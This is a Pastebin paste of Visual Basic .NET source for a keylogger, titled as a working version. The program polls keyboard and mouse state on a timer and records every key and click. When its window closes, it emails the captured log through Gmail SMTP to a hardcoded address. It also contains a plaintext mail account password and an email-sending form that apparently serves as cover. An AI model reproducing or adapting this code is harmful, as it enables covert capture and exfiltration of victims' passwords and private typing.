Advertisement
MarkoMirkov18

keylogger v1 radi

Jan 21st, 2019
404
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.91 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Public Class Form1
  3. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
  4. Public log As String
  5.  
  6. Private Sub Button2_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button2.Click
  7. BackgroundWorker1.RunWorkerAsync()
  8.  
  9. End Sub
  10. Private Sub OpenFileDialog1_FileOk(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk
  11. attach.Text$ = OpenFileDialog1.FileName
  12. End Sub
  13. Private Sub Button1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button1.Click
  14.  
  15. OpenFileDialog1.ShowDialog()
  16. End Sub
  17. Private Sub BackgroundWorker1_DoWork(ByVal sender As Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker1.DoWork
  18. Using mail As New MailMessage
  19. mail.From = New MailAddress("testemail27062001@gmail.com")
  20. mail.To.Add(destination.Text$)
  21. mail.Body = body.Text$
  22. If Not OpenFileDialog1.FileName = vbNullString Then
  23. Dim attach As New Attachment(OpenFileDialog1.FileName)
  24. mail.Attachments.Add(attach)
  25. End If
  26. mail.Subject = subject.Text$
  27. #Disable Warning BC42025 ' Access of shared member, constant member, enum member or nested type through an instance
  28. mail.Priority = mail.Priority.Normal
  29. #Enable Warning BC42025 ' Access of shared member, constant member, enum member or nested type through an instance
  30. Using SMTP As New SmtpClient
  31. SMTP.EnableSsl = True
  32. SMTP.Port = "587"
  33. SMTP.Host = "smtp.gmail.com"
  34. SMTP.Credentials = New Net.NetworkCredential("testemail27062001@gmail.com", "marko12345")
  35. SMTP.Send(mail)
  36. End Using
  37. End Using
  38. End Sub
  39. Private Sub BackgroundWorker1_RunWorkerCompleted(ByVal sender As Object, ByVal e As System.ComponentModel.RunWorkerCompletedEventArgs) Handles BackgroundWorker1.RunWorkerCompleted
  40. destination.Clear()
  41. subject.Clear()
  42. attach.Clear()
  43. body.Clear()
  44. MsgBox("Email has been sent successfully!", MsgBoxStyle.Information)
  45. End Sub
  46.  
  47. Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  48. Timer1.Start()
  49.  
  50. End Sub
  51.  
  52. Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
  53. If (GetAsyncKeyState(65)) Then
  54. Log = Log + "A "
  55. ElseIf (GetAsyncKeyState(66)) Then
  56. Log = Log + "B "
  57. ElseIf (GetAsyncKeyState(67)) Then
  58. Log = Log + "C "
  59. ElseIf (GetAsyncKeyState(68)) Then
  60. Log = Log + "D "
  61. ElseIf (GetAsyncKeyState(69)) Then
  62. Log = Log + "E "
  63. ElseIf (GetAsyncKeyState(70)) Then
  64. Log = Log + "F "
  65. ElseIf (GetAsyncKeyState(71)) Then
  66. Log = Log + "G "
  67. ElseIf (GetAsyncKeyState(72)) Then
  68. Log = Log + "H "
  69. ElseIf (GetAsyncKeyState(73)) Then
  70. Log = Log + "I "
  71. ElseIf (GetAsyncKeyState(74)) Then
  72. Log = Log + "J "
  73. ElseIf (GetAsyncKeyState(75)) Then
  74. Log = Log + "K "
  75. ElseIf (GetAsyncKeyState(76)) Then
  76. Log = Log + "L "
  77. ElseIf (GetAsyncKeyState(77)) Then
  78. Log = Log + "M "
  79. ElseIf (GetAsyncKeyState(78)) Then
  80. Log = Log + "N "
  81. ElseIf (GetAsyncKeyState(79)) Then
  82. Log = Log + "O "
  83. ElseIf (GetAsyncKeyState(80)) Then
  84. Log = Log + "P "
  85. ElseIf (GetAsyncKeyState(81)) Then
  86. Log = Log + "Q "
  87. ElseIf (GetAsyncKeyState(82)) Then
  88. Log = Log + "R "
  89. ElseIf (GetAsyncKeyState(83)) Then
  90. Log = Log + "S "
  91. ElseIf (GetAsyncKeyState(84)) Then
  92. Log = Log + "T "
  93. ElseIf (GetAsyncKeyState(85)) Then
  94. Log = Log + "U "
  95. ElseIf (GetAsyncKeyState(86)) Then
  96. Log = Log + "V "
  97. ElseIf (GetAsyncKeyState(87)) Then
  98. Log = Log + "W "
  99. ElseIf (GetAsyncKeyState(88)) Then
  100. Log = Log + "X "
  101. ElseIf (GetAsyncKeyState(89)) Then
  102. Log = Log + "Y "
  103. ElseIf (GetAsyncKeyState(90)) Then
  104. Log = Log + "Z "
  105. ElseIf (GetAsyncKeyState(48)) Then
  106. Log = Log + "0 "
  107. ElseIf (GetAsyncKeyState(49)) Then
  108. Log = Log + "1 "
  109. ElseIf (GetAsyncKeyState(50)) Then
  110. Log = Log + "2 "
  111. ElseIf (GetAsyncKeyState(51)) Then
  112. Log = Log + "3 "
  113. ElseIf (GetAsyncKeyState(52)) Then
  114. Log = Log + "4 "
  115. ElseIf (GetAsyncKeyState(53)) Then
  116. Log = Log + "5 "
  117. ElseIf (GetAsyncKeyState(54)) Then
  118. Log = Log + "6 "
  119. ElseIf (GetAsyncKeyState(55)) Then
  120. Log = Log + "7 "
  121. ElseIf (GetAsyncKeyState(56)) Then
  122. Log = Log + "8 "
  123. ElseIf (GetAsyncKeyState(57)) Then
  124. Log = Log + "9 "
  125. ElseIf (GetAsyncKeyState(96)) Then
  126. Log = Log + "{Num0} "
  127. ElseIf (GetAsyncKeyState(97)) Then
  128. Log = Log + "{Num1} "
  129. ElseIf (GetAsyncKeyState(98)) Then
  130. Log = Log + "{Num2} "
  131. ElseIf (GetAsyncKeyState(99)) Then
  132. Log = Log + "{Num3} "
  133. ElseIf (GetAsyncKeyState(100)) Then
  134. Log = Log + "{Num4} "
  135. ElseIf (GetAsyncKeyState(101)) Then
  136. Log = Log + "{Num5} "
  137. ElseIf (GetAsyncKeyState(102)) Then
  138. Log = Log + "{Num6} "
  139. ElseIf (GetAsyncKeyState(103)) Then
  140. Log = Log + "{Num7} "
  141. ElseIf (GetAsyncKeyState(104)) Then
  142. Log = Log + "{Num8} "
  143. ElseIf (GetAsyncKeyState(105)) Then
  144. Log = Log + "{Num9} "
  145. ElseIf (GetAsyncKeyState(106)) Then
  146. Log = Log + "{Num*} "
  147. ElseIf (GetAsyncKeyState(107)) Then
  148. Log = Log + "{Num+} "
  149. ElseIf (GetAsyncKeyState(13)) Then
  150. Log = Log + "{Enter} "
  151. ElseIf (GetAsyncKeyState(109)) Then
  152. Log = Log + "{Num-} "
  153. ElseIf (GetAsyncKeyState(110)) Then
  154. Log = Log + "{Num.} "
  155. ElseIf (GetAsyncKeyState(111)) Then
  156. Log = Log + "{Num/}"
  157. ElseIf (GetAsyncKeyState(32)) Then
  158. Log = Log + " "
  159. ElseIf (GetAsyncKeyState(8)) Then
  160. Log = Log + "{Backspace} "
  161. ElseIf (GetAsyncKeyState(9)) Then
  162. Log = Log + "{Tab} "
  163. ElseIf (GetAsyncKeyState(16)) Then
  164. Log = Log + "{Shift} "
  165. ElseIf (GetAsyncKeyState(17)) Then
  166. Log = Log + "{Control} "
  167. ElseIf (GetAsyncKeyState(20)) Then
  168. Log = Log + "{Caps} "
  169. ElseIf (GetAsyncKeyState(27)) Then
  170. Log = Log + "{Esc} "
  171. ElseIf (GetAsyncKeyState(33)) Then
  172. Log = Log + "{PGup} "
  173. ElseIf (GetAsyncKeyState(34)) Then
  174. Log = Log + "{PGdn} "
  175. ElseIf (GetAsyncKeyState(35)) Then
  176. Log = Log + "{End} "
  177. ElseIf (GetAsyncKeyState(36)) Then
  178. Log = Log + "{Home} "
  179. ElseIf (GetAsyncKeyState(37)) Then
  180. Log = Log + "{LArrow} "
  181. ElseIf (GetAsyncKeyState(38)) Then
  182. Log = Log + "{UArrow} "
  183. ElseIf (GetAsyncKeyState(39)) Then
  184. Log = Log + "{RArrow} "
  185. ElseIf (GetAsyncKeyState(40)) Then
  186. Log = Log + "{DArrow} "
  187. ElseIf (GetAsyncKeyState(45)) Then
  188. Log = Log + "{Insert} "
  189. ElseIf (GetAsyncKeyState(46)) Then
  190. Log = Log + "{Del} "
  191. ElseIf (GetAsyncKeyState(144)) Then
  192. Log = Log + "{NumLock} "
  193. ElseIf (GetAsyncKeyState(188)) Then
  194. Log = Log + "{,} "
  195. ElseIf (GetAsyncKeyState(1)) Then
  196. Log = Log + "[Levi klik] "
  197. ElseIf (GetAsyncKeyState(2)) Then
  198. Log = Log + "[Desni klik] "
  199. End If
  200. End Sub
  201.  
  202. Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
  203. RichTextBox1.Text = log
  204.  
  205. End Sub
  206. Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
  207. sendmail()
  208. End Sub
  209.  
  210. Private Sub sendmail()
  211. Dim Mail As New MailMessage
  212. Mail.Subject = "Keylog"
  213. Mail.To.Add("mmirkov2706@gmail.com")
  214. Mail.From = New MailAddress("mmirkov2706@gmail.com")
  215. Mail.Body = Log
  216. Dim SMTP As New SmtpClient("smtp.gmail.com")
  217. SMTP.EnableSsl = True
  218. SMTP.Credentials = New System.Net.NetworkCredential("testemail27062001@gmail.com", "marko12345")
  219. SMTP.Port = "587"
  220. SMTP.Send(Mail)
  221. End Sub
  222.  
  223. Private Sub NotifyIcon1_MouseDoubleClick(sender As Object, e As MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick
  224.  
  225. NotifyIcon1.Visible = False
  226.  
  227.  
  228.  
  229. End Sub
  230. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement